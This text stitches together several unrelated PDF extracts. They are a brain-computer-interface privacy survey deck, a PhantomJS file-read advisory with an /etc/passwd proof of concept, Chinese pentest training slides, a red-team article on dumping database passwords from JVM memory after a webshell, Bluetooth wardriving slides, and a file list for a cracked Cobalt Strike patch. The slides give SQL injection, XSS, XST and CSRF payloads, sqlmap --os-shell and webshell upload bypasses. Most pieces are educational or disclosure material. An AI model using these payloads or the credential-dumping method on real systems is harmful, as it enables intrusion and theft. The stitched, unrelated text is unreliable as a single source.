• 91% of Americans in 2016 agreed or strongly agreed that users had lost control
over the collection and use of of their information
• 2/3rd of those surveyed in 2017 said that existing legislation is inadequate in
protecting private information
108
4. The Importance of Trust
• Lack of trust may no longer be an adequate deterrent to a company’s
malevolent behavior
• 91% of Americans in 2016 agreed or strongly agreed that users had lost control
over the collection and use of of their information
• 2/3rd of those surveyed in 2017 said that existing legislation is inadequate in
protecting private information
• Privacy as trust (Waldman): relationship through regulation of access,
either restricting or openness
109
First Analysis: Person vs App
Odds ratio < 1 means respondents perceived
the app collecting their neural information as
LESS of a privacy issue than if it was
collected by a person
110
111
Message Text
Record Typing
Brain Activity
Planned Brain
Activity
Brain Activity +
Emotional State
112
Message Text
Record Typing
Brain Activity
Planned Brain
Activity
Brain Activity +
Emotional State
0.83
0.55
0.77
0.56
0.97
Odds
Ratios
113
Message Text
Record Typing
Brain Activity
Planned Brain
Activity
Brain Activity +
Emotional State
0.83
0.55
0.77
0.56
0.97
Odds
Ratios
Second Analysis:
Mobility vs Non-Mobility Impaired
Odds ratio < 1: non-mobility impaired individuals
perceive the data collected to be less of a privacy
violation, compared to those who are
Odds ratio > 1: non-mobility impaired individuals
perceived data collected to be more of a privacy
violation, compared to those who are
114
115
Message Text
Record Typing
Brain Activity
Planned Brain
Activity
Brain Activity +
Emotional State
116
Message Text
Record Typing
Brain Activity
Planned Brain
Activity
Brain Activity +
Emotional State
0.95
0.96
1.24
1.76
1.70
Odds
Ratios
117
More Involved
Less Involved
Same
User
Researcher
Indep Reg Org
Legislators
Manufacturers
Compared to
Current Involvement
First Analysis: Involvement by Entity
How should each entity’s involvement change
through the BCI lifecycle
118
First Analysis: Involvement by Entity
How should each entity’s involvement change
through the BCI lifecycle
Odds ratio > 1 means less involvement
through each stage
119
First Analysis: Involvement by Entity
How should each entity’s involvement change
through the BCI lifecycle
Odds ratio > 1 means less involvement
through each stage
Odds ratio < 1 indicates the entity should
be more involved through each stage
120
121
More Involved
Less Involved
Same
User
Researcher
Indep Reg Org
Legislators
Manufacturers
Compared to
Current Involvement
2.481
1.248
0.709
0.685
0.741
Odds
Ratios
122
More Involved
Less Involved
Same
User
Researcher
Indep Reg Org
Legislators
Manufacturers
Compared to
Current Involvement
2.481
1.248
0.709
0.685
0.741
Odds
Ratios
Second Analysis: Involvement by Stage
123
Who should be more involved at
each stage?
Odds ratios > 1 means
involvement should
decrease going from user
to device manufacturer
Odds ratios < 1,
involvement should
increase going from user to
device manufacturer.
Second Analysis: Involvement by Stage
Who should be more involved at
each stage?
Odds ratios > 1 means
involvement should
decrease going from user
to device manufacturer
Odds ratios < 1,
involvement should
increase going from user to
device manufacturer.
124
Second Analysis: Involvement by Stage
125
Who should be more involved at
each stage?
Odds ratios > 1 means
involvement should
decrease going from user
to device manufacturer
Odds ratios < 1,
involvement should
increase going from user to
device manufacturer.
126
More Involved
Less Involved
Same
User
Researcher
Indep Reg Org
Legislators
Manufacturers
Compared to
Current Involvement
1.461
1.536
0.620
Odds
Ratios
127
More Involved
Less Involved
Same
User
Researcher
Indep Reg Org
Legislators
Manufacturers
Compared to
Current Involvement
1.461
1.536
0.620
Odds
Ratios
DGE-1256082
DGE-1762114
NSF EEC 1028725
Sources of Funding
128
Irene Peden
Endowed Fellowship | pdf |
05 Nov 19
Breaching the perimeter - PhantomJs Arbitrary file
read
Introduction
PhantomJS is a headless browser used for automating web page interaction. PhantomJS provides
a JavaScript API enabling automated navigation, screenshots, user behavior and assertions
making it a common tool used to run browser-based unit tests in a headless system like a
continuous integration environment.
PhantomJS uses a particular variant of WebKit, normally called QtWebKit, that utilizes Qt (qt.io
(https://web.archive.org/web/20191220171022/http://qt.io/)), an open-source multi-platform
C++ framework. Using QtWebkit it provides a similar browsing environment to other modern
browsers and offers fast and native support for various web standards.
Vulnerability summary
PhantomJS uses internal module: webpage , to open, close, render, and perform multiple actions
on webpages, which suffers from an arbitrary file read vulnerability. The vulnerability exists in the
page.open() function of the webpage module, which loads the specified URL and calls a given
callback. When opening a HTML file, an attacker can supply specially crafted file content, which
allows reading arbitrary files on the filesystem. The vulnerability is demonstrated by using
page.render() as the function callback, resulting in the generation of a PDF or an image of the
targeted file.
var webPage = require('webpage');
var page = webPage.create();
This above JavaScript code initialises and creates a page object that can be used to perform
further actions such as loading a webpage.
In the code snippet below the page.open() function is responsible for opening and parsing the
supplied URL and generating a PNG image using the page.render() function.
Tracing the open call in the following example:
var page = require('webpage').create();
page.open('http://www.google.com', function() { <-----
^^^^
setTimeout(function() {
page.render('google.png');
phantom.exit(); }, 200);
});
Before interacting with a webpage, a PhantomJS instance is launched and initialised. Initially the
main() function is called:
File: phantom/phantomjs/src/main.cpp
85 int main(int argc, char** argv)
86 {
87 try {
88 init_crash_handler();
89 return inner_main(argc, argv);
[..]
115 }
The main() calls the inner_main() where a phantom object is created and calls Phantom
instance() , thereby launching the PhantomJS instance.
File: phantom/phantomjs/src/main.cpp
43 static int inner_main(int argc, char** argv)
44 {
[..]
63 // Get the Phantom singleton
64 Phantom* phantom = Phantom::instance();
65
66 // Start script execution
67 if (phantom->execute()) {
68 app.exec();
69 }
[..]
83 }
After the new phantom instance is created it is initialised by calling Phantom::init() , where
m_page = new WebPage() and an onInitialized() function is called which sets phantom
object's scope to global and refered to as this (line 482)
File: phantom/phantomjs/src/phantom.cpp
479 void Phantom::onInitialized()
480 {
481 // Add 'phantom' object to the global scope
482 m_page->mainFrame()->addToJavaScriptWindowObject("phantom", this);
[..]
489 }
After the phantom object is initialised and the scope has been defined the create() function is
called that calls decorateNewPage() which is responsible for parsing the URL and populating
the contents of the supplied URL.
File: phantom/phantomjs/src/modules/webpage.js
225 function decorateNewPage(opts, page) {
[..]
276 page.open = function (url, arg1, arg2, arg3, arg4) {
277 var thisPage = this;
278
279 if (arguments.length === 1) {
280 this.openUrl(url, 'get', this.settings);
281 return;
282 } else if (arguments.length === 2 && typeof arg1 === 'function') {
283 this._onPageOpenFinished = function() {
284 thisPage._onPageOpenFinished = null; //< Disconnect callback (should fire only once)
285 arg1.apply(thisPage, arguments); //< Invoke the actual callback
286 }
287 this.openUrl(url, 'get', this.settings);
288 return;
289 } else if (arguments.length === 2) {
290 this.openUrl(url, arg1, this.settings);
291 return;
292 } else if (arguments.length === 3 && typeof arg2 === 'function') {
[..]
328 };
Also the page.open() internally calls WebPage::openUrl() where PhantomJS checks for the
scheme in the provided URL. If an empty scheme is supplied, it sets file:// as the default
scheme for the given URL. This is evident from the code shown below and it is done to access
locally stored HTML/CSS files.
File: phantom/phantomjs/src/webpage.cpp
954: // Assume local file if scheme is empty
955: if (url.scheme().isEmpty()) {
956: url.setPath(QFileInfo(url.toString()).absoluteFilePath().prepend("/"));
957: url.setScheme("file");
958: }
Accordingly, using page.open('www.google.com') for the page render code snippet would
generate a blank png image as it would not resolve the supplied URL, which would have been set
to file:// scheme. Whereas using page.open('https://www.google.com') with
https:// scheme generates a rendered image with the contents of supplied URL.
PhantomJS also uses a switch --web-security which expects a boolean value and is set to
True by default. The switch enables web security feature in PhantomJS and forbids cross-
domain XHR requests from being triggered.
A locally stored HTML file, would not be allowed to trigger an XHR request to an arbitrary
external entity due to the cross-domain XHR restriction, and due to the Same Origin Policy
implementation, the response could also not be read from cross-domain entities unless explicitly
specified in the headers.
The code block below demonstrates loading a locally stored HTML code test.html using
page.open()
┌─[admin@MacBook-Pro] - [~/node_modules/phantomjs-prebuilt/bin]
└─[0] <> cat test.js
var page = require('webpage').create();
page.open('./test.html', function() {
page.render('result.png');
phantom.exit();
}
);
According to the SOP definition for file:// URI, if a file is loaded from another file that would
otherwise be able to load it following same-origin policy, they are considered to have the same
origin. This load can occur through a subframe, link, location set, call to window.open() , etc [1]
(https://web.archive.org/web/20191220171022/https://developer.mozilla.org/en-
US/docs/Archive/Misc_top_level/Same-origin_policy_for_file:_URIs).
Hence the supplied HTML with the following contents:
File: test.html
<html>
<head>
<body>
<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script>
</body>
</head>
</html>
when parsed by PhantomJS, it can read the contents of /etc/passwd by issuing an XHR
request.
The behavior was also cross verified using the headless version of Google Chrome 77.0.3865.90
by using the --print-to-pdf and screenshot utility offered by google chrome headless.
The above test.html was passed to Google Chrome headless as a url argument to generate a
PDF/PNG out of it, to see if the contents of /etc/passwd are included in the generated output
files from the given input HTML.
┌─[admin@My-MacBook-Pro] - [/Applications/Google Chrome.app/Contents/MacOS]
└─[0] <> ./Google\ Chrome --headless --disable-gpu --print-to-pdf test.html [1008/115100.363060:INFO:headles
s_shell.cc(619)] Written to file output.pdf
┌─[admin@My-MacBook-Pro] - [/Applications/Google Chrome.app/Contents/MacOS]
└─[0] <> ./Google\ Chrome --headless --disable-gpu --screenshot poc.html [1008/115737.315458:INFO:headless_s
hell.cc(619)] Written to file screenshot.png
And the files generated in that case were empty and no rendered content was observed as
compared to PhantomJS.
Hence a CVE-2019-17221 was issued to identify the above discovered vulnerability, a coordinate
disclosure was done and an official advisory was released[3]
(/web/20191220171022/https://www.darkmatter.ae/xen1thlabs/published-advisories/)
addressing the identified vulnerability.
References
[1] https://developer.mozilla.org/en-US/docs/Archive/Misc_top_level/Same-
origin_policy_for_file:_URIs
(https://web.archive.org/web/20191220171022/https://developer.mozilla.org/en-
US/docs/Archive/Misc_top_level/Same-origin_policy_for_file:_URIs)
[2] https://raw.githubusercontent.com/wiki/ariya/phantomjs/images/arch.png
(https://web.archive.org/web/20191220171022/https://raw.githubusercontent.com/wiki/ariya/phantomjs/images/arch.pn
[3] https://www.darkmatter.ae/xen1thlabs/published-advisories/
(/web/20191220171022/https://www.darkmatter.ae/xen1thlabs/published-advisories/)
By Rajanish Pathak at xen1thlabs | pdf |
滲透測試
基本技巧與經驗分享
講者: 趙偉捷
自我介紹
ID : OAlienO
姓名 : 趙偉捷
學校系所 : 國立交通大學 電機資訊學士班 大二升大三
社群 : Bamboofox
目錄
滲透測試 - Penetration Test ( PT )
情境一 : 收集情報
情境二 : 資料洩漏
情境三 : SQL injection
情境四 : XSS
情境五 : XST
情境六 : CSRF
情境七 : File Upload Vulnerability
Common Vulnerabilities and Exposures ( CVE )
Bug Bounty 與漏洞通報
滲透測試
Penetration Test ( PT )
滲透測試 - Penetration Test ( PT )
簡介 : 滲透測試是企業委託駭客對系統進行入侵攻擊,並在攻擊後
回報潛在漏洞給開發人員做修補。
特性 : 以毒攻毒,針對目標網站。
有授權很重要
標準流程
很多人開始做滲透測試後,就會有人整理一些常見的步驟手法,這
邊列出幾個開源組織制定的滲透測試標準流程。
OWASP
(
Open
Web
Application
Security
Project
)
https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_o
f_Contents
OSSTMM
(Open
Source
Security
Testing
Methodology
Manual)
http://www.isecom.org/research/osstmm.html
PTES ( Penetration
Testing
Execution
Standard )
http://www.pentest-‐
standard.org/index.php/PTES_Technical_Guidelines
標準流程
提升權限
維持存取
偵查
掃描
漏洞利用
回報漏洞
情境一
假設今天外星人想對某個網站做滲透測試
他要從哪裡開始測呢 ? ( 切他電路 )
收集情報
收集情報 ( Information Gathering )
最簡單且基本的情報收集可以從看伺服器回應的 http header 開始
收集情報 ( Information Gathering )
Cookie 的名字也可以拿來辨認系統 ( 不一定正確 )
有沒有工具呢?
Wappalyzer
( https://chrome.google.com/webstore/detail/wappalyzer/gp
pongmhjkpfnbhagpmjfkannfbllamg?hl=zh-TW )
收集情報 ( Information Gathering )
Chrome 插件
Wappalyzer
收集情報 -‐ Google Hacking
完整的運用 Google 的強大搜尋功能
inurl: google.com
inurl:google.com
intext:"PHP Fatal error: require()" filetype:log
site:google.com
Google hacking database
https://www.exploit-db.com/google-hacking-database/
這裡不能有空白
收集情報 – 找旁注
一個機器可能 host 多個網站
收集情報 -‐ 使用工具 (
nmap )
nmap <url>
掃 port
收集情報 -‐ 使用工具 ( nikto )
會提供相關網站
情境二
最常見安全問題 1st round – 資料洩漏
情境 :
外星人在某網站上申請東東,申請完後得到這個連結,上面顯示申
請的資料做確認和列印,會發生什麼事情呢,請待下頁分曉
https://www.xxx.com/apply_form/?id=123
機敏資料洩漏
網站權限控管沒做好,可以瀏覽其他人的申請單
並看到他填的申請表上面的個人資料
比如 : https://www.xxx.com/apply_form/?id=100
機敏資料洩漏
運用 Google hacking 的技巧,找到不小心公開的檔案
intitle:"Index of"
site:nctu.edu.tw filetype:pdf
情境三
最常見安全問題 2nd round – SQL injection
情境 :
外星人在某網站上看到可以輸入的 input box
就很開心地輸入單引號…
SQL injection
發現驚人的事實,他會 SQL syntax
error
說明他 87% 有 SQL
injection
漏洞
漏洞利用 – SQL injection
SQL injection 簡稱 SQLi
開發者常常犯的一個錯誤的編程方式 : 將要拿去執行的程式碼用字
串串接的方式接上使用者可控的字串,統稱為注入 ( injection )
$sql = "SELECT
id
FROM
users
WHERE
uid='$uid';";
$result
= $conn-‐>query($sql);
把使用者可以控制的字串串接到要執行的命令裡面
(
SQL
command
)
漏洞利用 – SQL injection
UNION SELECT 技巧
$sql = "SELECT
name,addr FROM
users
WHERE
uid='$uid';";
SELECT
name,addr FROM
users
WHERE
uid='0'
UNION
SELECT
1,2
-‐-‐ ';
這裡也要兩個
這裡兩個
漏洞利用 – SQL injection
手動挖 DB
順序
schema
table
column
漏洞利用 – SQL injection
id=0
UNION
SELECT
null,null,table_nameFROM
information_schema.tables
WHERE
table_schema =
'news'
-‐-‐
id=0
UNION
SELECT
null,null,column_nameFROM
information_schema.columns
WHERE
table_schema =
'news'
AND
table_name =
'flag'
-‐-‐
id=0
UNION
SELECT
null,null,flagFROM
flag
直接是一個數字,他 SQL 原本就沒包單引號
漏洞利用 – SQL injection
Blind
injection
:
在沒有噴 log 的情況下,有機會可以派上會場
id=0
AND
(
…
)
>
49
id=0
AND
(
…
)
>
50
id=0
AND
(
…
)
>
51
…
成功
成功
失敗
他是 51
使用 binary search
的技巧提升效率
漏洞利用工具 – sqlmap
sqlmap –r
package
–dbs
sqlmap –r
package
–D
xxx
–tables
sqlmap –r
package
–D
xxx
–T
yyy –columns
sqlmap –r
package
–D
xxx
–T
yyy –C
zzz –dump
sqlmap –r
package
–dump-‐all
sqlmap –r
package
–os-‐shell
漏洞利用 – SQL injection
如何防禦 SQLi ?
將使用者可控的部分 參數化 ( parameterized )
黑魔法
防禦術
$stmt = $dbh-‐>prepare("INSERTINTO REGISTRY (name, value)VALUES (:name, :value)");
$stmt-‐>bindParam(':name', $name);
$stmt-‐>bindParam(':value', $value);
$name = 'one';
$value = 1;
$stmt-‐>execute();
以 php 為例
情境四
情境 : 外星人看到有一個留言框
很開心的輸入 '<script>alert("XSS");</script>'
最常見安全問題 3rd round – XSS
XSS
瀏覽器跳了一個提醒視窗,上面寫了 XSS
代表我們成功執行了 javascript
漏洞利用 – XSS
XSS ( Cross-Site Script )
也是 injection 的一種,HTML 代碼注入導致能執行任意
Javascript 代碼
<p>正常留言</p>
<p><script>alert("XSS")</script></p>
漏洞利用 – XSS
儲存型 XSS :
被伺服器存在 DB 中,當受害者瀏覽該網站
就可以在他的瀏覽器執行你存在伺服器 DB 的惡意 javascript 代碼
漏洞利用 – XSS
反射型 XSS :
必須讓受害者點擊網址,
例如 https://xxx.com/index?q=<script>alert(1)</script>
漏洞利用 – XSS
低成本的小技巧 :
伺服器回傳時夾帶 X-XSS-Protection 這個 header
他會幫你 filter 大部分可疑字串
不保證可以阻止攻擊,但可以大幅降低發生機率
相關資料 : https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-XSS-Protection
黑魔法
防禦術
漏洞利用 – XSS
高強度防禦 : 使用 htmlentity 顯示使用者的輸入的資訊
相關資料 : https://dev.w3.org/html5/html-author/charref
黑魔法
防禦術
'<' 的 htmlentity
練習網站 – XSS
xss-‐game
:
https://xss-‐game.appspot.com/
alert
1
to
win
:
https://alf.nu/alert1
情境五
情境 : 外星人成功 XSS,但發現 cookie 有 HttpOnly 拿不到 O_O
最常見安全問題 4st round – XST
漏洞利用 – XST
XST ( Cross Site Tracing )
使用目的 : 繞過 HttpOnly
什麼是 HttpOnly?
讓 javascript 無法存取 cookie
Set-‐Cookie:
my_cookie=123;
HttpOnly
漏洞利用 – XST
概念介紹 :
運用 HTTP 中一個用來測試的 method – TRACE
你傳什麼給伺服器他就回什麼
漏洞利用 – XST
猥瑣思想 :
發 request 的時候,瀏覽器會自動夾帶 cookie
用 TRACE method 發 request,伺服器會回一模一樣的內容
我們用 javascript 發 request 可以看到回傳的內容
結論 : 我們可以看到 COOKIE
範例代碼 – XST
<script>
var xmlhttp = new XMLHttpRequest();
var url = 'http://xxx.com/';
xmlhttp.withCredentials = true;
xmlhttp.open('TRACE', url, false);
xmlhttp.send();
</script>
情境六
情境 :
外星人心血來潮想來架一個網站,順手放了一段黑黑的代碼…
別人來看他的網站後,發現他銀行的錢錢都不見了 O_O
最常見安全問題 5st round – CSRF
漏洞利用 – CSRF
重要觀念 : 瀏覽器發 request 時會自動幫你夾帶 cookie
猥瑣思想 :
從一個網站發 request 到另一個網站
瀏覽器會幫我夾帶使用者另一個網站的 cookie
漏洞利用 – CSRF 範例
用 img 發起 GET request
<img src="https://www.xxx.com/?transferFunds=5000">
<iframe src="https://www.xxx.com/?transferFunds=5000">
用 iframe 發起 GET request
漏洞利用 – CSRF 範例
用 javascript 發起 POST request 並把結果導向看不見的 iframe 裡面
<iframe
style="display:none"name="csrf-‐frame"></iframe>
<form method="post"action="https://xxx.com/signout"id="csrf-‐form"target="csrf-‐frame">
<input type="hidden"name="exit"value="true"></td>
</form>
<script>document.getElementById("csrf-‐form").submit()</script>
情境七
情境 :
外星人發現某個網站上可以上傳檔案,竟然沒有限制檔案型態
而且可以找到他把上傳的檔案放在哪裡…
最常見安全問題 6st round – FU
漏洞利用 – File Upload 權限問題
假設網站是跑 PHP,我們上傳一個 PHP 檔上去,然後瀏覽他所在
的路徑,我們就可以得到一個 webshell
案例分享 – File Upload 權限問題
案例分享 : 請假系統的 File Upload 權限問題
第一次修補原始碼 : if(substr( $filename , -3) == "php"){}
第一次修補 bypass : 上傳 webshell.PHP, XSS.html
第二次修補原始碼 : 用 regex 乖乖檢查
X
Common Vulnerabilities
and Exposures ( CVE )
CVE
資安漏洞的資料庫,由美國非營利組織 MITRE 維護
會幫被回報的漏洞做編號 ( EX : CVE-2017-5638 )
https://cve.mitre.org/
{
{
西元紀年 流水編號
第一步 : 架設環境
視情況使用 docker 或虛擬機器架設環境
第二步 : 找 POC ( Proof of Concept )
三種方式 :
1. 去網路上找 POC
2. 使用漏洞掃描框架 nmap nse 或 metasploit 做偵測或入侵
3. 了解原理後手寫 python script
第三步 : 找目標
用 Google Hacking 的技術或是其他情資收集技巧
intitle:"Struts
Problem
Report"
intext:"development
mode
is
enabled."
關鍵字 : OSINT ( Open Source Intelligence )
Bug Bounty 與漏洞通報
Bug
Bounty
Bug Bounty 是什麼呢?
企業懸賞獎金請駭客們幫忙滲透測試
有哪些網站呢?
https://bugcrowd.com
https://hackerone.com
https://www.vulbox.com
漏洞通報平台
HITCON
ZeroDay
https://zeroday.hitcon.org
更多練習網站
線上解題網站
1.
https://bamboofox.cs.nctu.edu.tw/
2.
http://www.gameofhacks.com/
3.
https://www.hackthis.co.uk/
4.
http://pwnable.kr/
5.
http://pwnable.tw/
漏洞平台 ( 自己架起來打 )
1.
WebGoat
2.
DVWA
3.
Mutillidae
BAMBOOFOX
社團資源
社團部落格 : https://bamboofox.github.io/
社團解題系統 : https://bamboofox.cs.nctu.edu.tw/
我們的攤位在 MOPCON 和 UCCU ( 好多鎖 ) 之間
趕快來拍打餵食~~~
Q&A | pdf |
JDBC内存Dump密码 - 1
JDBC内存Dump密码
引⾔
在红队⾏动中经常会遇到拿到 Webshell 后找不到数据库密码存放位置或者是数据库密码被加密的情况(需要逆向代码查找解密逻辑)。
在此提出两种在从运⾏时获取所有的数据库连接信息(密码)的⽅式
第⼀种⽅式实现效果
服务端数据库加密 Demo
成功获取到解密后的数据库密码 插件已经集成到哥斯拉 https://github.com/BeichenDream/Godzilla/releases/
JDBC内存Dump密码 - 2
实现原理⽅式⼀
⼀般不使⽤数据库连接池情况下 我们通常使⽤ Java 的⼯⼚类 DriverManager 获取数据库连接
Java
跟进逻辑
Java
从 getConnection 的具体实现逻辑来看 主要是从静态变量 registeredDrivers 变量遍历所有已经注册的数据库驱动并调⽤数据库驱动的
connect ⽅法获取数据库连接 如果数据库驱动返回 NULL 或抛出异常则再次循环 如果数据库驱动返回 Connection 则退出循环返回数
据库连接
这个时候我们就可以想到假如我们⾃⼰注册⼀个数据库驱动上去是不是就能获取到数据库密码了
实现代码如下
这⾥需要注意两点
⼀. 在遍历 registeredDrivers 时会调⽤ isDriverAllowed ⽅法判断调⽤者的 ClassLoader 是否为数据库驱动的 ClassLoader ⽗级或者
同级 Java 为什么这么设计呢 因为获取数据库驱动涉及到了双亲委派相关的知识 这⾥举例 A,B ClassLoader,如果 A 加载了⼀个数据
库驱动,⽽ B 获取到 A 的加载数据库驱动 会导致在 A 被 GC 回收的时候会因为 B 引⽤了 A 导致 A 不会被释放 所以如果我们想获取当前
进程所有的容器的数据库密码 我们需要把我们的驱动加载到系统类上
DriverManager.getConnection(DB_URL,userName,aes(password));
@CallerSensitive
public static Connection getConnection(String url,String user, String password)
private static Connection getConnection(String url,
.
java util.Properties info, Class<?> caller)
JDBC内存Dump密码 - 3
⼆. 我们要把我们的数据库驱动放在第⼀位
很简单是吧 有了这个东东我们不需要再反编译代码去找密钥了
但是这种⽅法只适⽤于调⽤ Java 官⽅提供的 DriverManager ⼯⼚类
实现原理—⼆
在上⾯我们知道数据库驱动都要兼容 JDBC 的接⼝也就是要实现 Driver 接⼝
第三⽅数据库连接池也遵守了 JDBC 的规则 数据库连接池会调⽤对于驱动的 Driver.connect ⽅法获取数据库连接
所以我们可以使⽤ Java Agent 直接去 hook 所有已经实现了 Driver 接⼝的类
代码已开源在 Github
bingo
输⼊命令 java -jar DatabaseInject.jar list 获取所有正在运⾏的 JVM
找到要注⼊的进程 这⾥以 tomcat 为例(什么都可以注只要是实现了 jdbc 的接⼝)
再次刷新⽹⻚访问数据库
https://github.com/BeichenDream/InjectJDBC
JDBC内存Dump密码 - 4
成功的获取了数据库解密后的密码 | pdf |
XIII / I / MMIII
DefCon XI
Bluesniff - The Next
Wardriving Frontier
Bruce Potter <[email protected]>
Brian Caswell <[email protected]>
XIII / I / MMIII
DefCon XI
Bluetooth Basics
• NOT 802.11! NOT a relative of 802.11!
• Cable replacement technology
– Low power for embedded devices
• More BT radios than 802.11 radios in
existence
– Phones, headsets, laptops, mice, keyboards
• Master / Slave architecture
XIII / I / MMIII
DefCon XI
Bluetooth Protocol
• Uses 2.4 GHz ISM band, same as 802.11b/g
• Generally low power
– Class 3 (1mW) for most devices
– Some Class 1(100mW) devices exist
• Frequency Hopping Spread Spectrum
– Uses a pre-defined hopping pattern
• Back in the day, FHSS was a “security” mechanism
– Resists interference
– 1MHz wide, hopping every 625 microseconds
XIII / I / MMIII
DefCon XI
Bluetooth Protocol
• A real disaster of a protocol stack
– Heck, the core spec is 1024 pages.. Good
reading!
• Specifies from Layer 1 to Layer 7
• High points
– RF-level sync
– Inquiry/request
– Service discovery
– Low power modes
XIII / I / MMIII
DefCon XI
Bluetooth Security
• Pairing
– Using a shared secret (PIN), exchange random
number to form key
– Key used to derive session key for future comms
– Used for Trusted <-> Trusted comms
XIII / I / MMIII
DefCon XI
Bluetooth Security
• Authentication / Authorization
– Per connection AA
– Per service AA
• Encryption
– Ditto
• It’s all OPTIONAL!
– Left to the developer/user to decide
• This ends well… :(
XIII / I / MMIII
DefCon XI
Bluetooth Profiles
• Profiles exist to ease interoperability
*wink* *wink*
• Keyboard, file transfer, handsfree (and
headset), etc…
XIII / I / MMIII
DefCon XI
Bluetooth vs. 802.11b
• More at stake
– Compromise 802.11 security = Access to network
– Compromise BT Security = Gateway directly to
App level functionality
• More personalized information
– Phone conversations, calendar info, etc
– Less interesting for Joe 12-pack, more interesting
for executives
XIII / I / MMIII
DefCon XI
Discovery of 802.11
• Direct Sequence Spread spectrum
• Transmitters always in the same “place” in a
channel
– DSSS pretty easy to find
– Granted, transmitters may be on different
channels
• Cisco - hardware channel switching RF Monitor
• Prism 2 - firmware channel switching RF Monitor
• Orinoco - need external channel hopper
XIII / I / MMIII
DefCon XI
Discovery of 802.11
• Beacons
– “I’m here” every 100ms
– Can be turned off for “cloaking”
• Fools Netstumbler
• Doesn’t fool Kismet or Airsnort
• Regular traffic
– Windows boxen are noisy
– Regardless of OS, generally frequent traffic
XIII / I / MMIII
DefCon XI
Discovery of Bluetooth
• FHSS harder to “find”
– Must align with hopping pattern
– BT uses 1/2 the normal hop time to Jump Around
– Still averages 2.5 to 10 secs to find known device
• Devices can be Discoverable
– Respond to inquiry requests
XIII / I / MMIII
DefCon XI
Discovery of Bluetooth
• Devices can also be non-discoverable
– Must be directly probed by MAC addr
• Little to no traffic for extended periods of time
(esp in low power mode)
– Cannot easily be listened to b/c receiver cannot sync
on hopping pattern
• Sophisticated RF gear can find and intercept
traffic
– Currently no one can make a standard card do this
XIII / I / MMIII
DefCon XI
Bluetooth Attacks
• Interception of traffic during pairing
– Brute force guess the PIN to recover key
– Know the PIN b/c it’s imbedded
• More likely poorly developed software
– In BT, security is “optional”
• Or simply bad defaults
– File sharing with no AA/E in discoverable mode
was the DEFAULT for my BT driver on my PDA
– Just like the early days of 802.11b
XIII / I / MMIII
DefCon XI
Bluetooth Tracking
• Even Class 3 devices can be intercepted at a
distance
• If your phone/PDA/earpiece is BT enabled,
attacker can follow you using commodity gear
– Like your own RFID tag
XIII / I / MMIII
DefCon XI
Bluetooth Wardriving
• Used to walk around hitting “scan” button on
BT driver UI
• Does not find non-discoverable devices
• Needs new tools to catch on
• Same voyeuristic appeal of 802.11 wardriving
• As it becomes popular, BT developers and
users will get a swift kick in the butt to make
things more secure
XIII / I / MMIII
DefCon XI
Redfang
• Released by @Stake, Spring 2003
• Looks for devices that do not want to be
discovered
– Brute forces through MAC addresses attempting
to find devices
• First 3 octets fixed, rotates through last three
– Can take a long time, since FHSS sync can take
~10 seconds per MAC
– The only way so far…
XIII / I / MMIII
DefCon XI
Bluesniff
• http://bluesniff.shmoo.com/
• Our tool (heh.. he said tool…)
• Focused on providing a UI
– Front-end for Redfang
– Also finds devices in discoverable mode
• Yes, people leave things to be discovered
• Making BT wardrivers easier and more
efficient will raise awareness of BT security
issues
XIII / I / MMIII
DefCon XI
XIII / I / MMIII
DefCon XI
XIII / I / MMIII
DefCon XI
XIII / I / MMIII
DefCon XI
XIII / I / MMIII
DefCon XI
Future work
• Integration with WiFi scanning tools (namely
Airsnort)
• New scanning methods | pdf |
1
dogcs 4.4 patch补丁分析
声明
加⼊我们的社区
前⾔
⽂件对⽐
JAVA端
aggressor/Aggressor.class
aggressor/AggressorClient.class
aggressor/browsers/Connect.class
aggressor/browsers/Sessions.class
aggressor/dialogs/AboutDialog.class
aggressor/dialogs/ConnectDialog.class
aggressor/headless/Start.class
aggressor/MultiFrame.class
aggressor/TabManager.class
aggressor/windows/BeaconConsole.class
aggressor/windows/CredentialManager.class
aggressor/windows/DownloadBrowser.class
aggressor/windows/FileBrowser.class
aggressor/windows/Files.class
aggressor/windows/KeystrokeBrowser.class
aggressor/windows/ScreenshotBrowser.class
aggressor/windows/SecureShellConsole.class
beacon/BeaconC2.class
beacon/BeaconData.class
beacon/BeaconHTTP.class
beacon/BeaconPayload.class
beacon/BeaconSetup.class
beacon/CommandBuilder.class
2
beacon/jobs/DesktopJob.class
beacon/TaskBeacon.class
beacon/TaskBeaconCallback.class
beacon/Tasks.class
c2profile/MalleableHook.class
c2profile/MalleableStager.class
cloudstrike/NanoHTTPD.class
cloudstrike/WebServer.class
common/AssertUtils.class
common/AuthCrypto.class
common/Authorization.class
common/BeaconEntry.class
common/CommonUtils.class
common/Download.class
common/Helper.class
common/License.class
common/ListenerConfig.class
common/LoggedEvent.class
common/MudgeSanity.class
common/Requirements.class
common/Starter.class
common/Starter2.class
common/TeamSocket.class
dns/AsymmetricCrypto.class
dns/BaseSecurity.class
server/Beacons.class
server/Listeners.class
server/ManageUser.class
server/Resources.class
server/ServerUtils.class
server/TeamServer.class
ssl/SecureServerSocket.class
3
ssl/SecureSocket.class
stagers/BeaconBindStagerX64.class
stagers/BeaconBindStagerX86.class
stagers/BeaconDNSStagerX86.class
stagers/BeaconHTTPSStagerX64.class
stagers/BeaconHTTPSStagerX86.class
stagers/BeaconHTTPStagerX64.class
stagers/BeaconHTTPStagerX86.class
stagers/BeaconPipeStagerX86.class
stagers/ForeignHTTPSStagerX86.class
stagers/ForeignHTTPStagerX86.class
stagers/ForeignReverseStagerX64.class
stagers/ForeignReverseStagerX86.class
stagers/GenericBindStager.class
stagers/GenericDNSStagerX86.class
stagers/GenericHTTPSStagerX64.class
stagers/GenericHTTPSStagerX86.class
stagers/GenericHTTPStager.class
stagers/GenericHTTPStagerX64.class
stagers/GenericHTTPStagerX86.class
stagers/GenericStager.class
stagers/Stagers.class
DLL端
resources/winvnc.x64.dll
resources/winvnc.x86.dll
sleeve/beacon.dll
sleeve/beacon.x64.dll
sleeve/dnsb.dll
sleeve/dnsb.x64.dll
sleeve/extc2.dll
sleeve/extc2.x64.dll
sleeve/hashdump.dll
4
sleeve/hashdump.x64.dll
sleeve/mimikatz-chrome.x64.dll
sleeve/mimikatz-chrome.x86.dll
sleeve/mimikatz-full.x64.dll
sleeve/mimikatz-full.x86.dll
sleeve/mimikatz-min.x64.dll
sleeve/mimikatz-min.x86.dll
sleeve/pivot.dll
sleeve/pivot.x64.dll
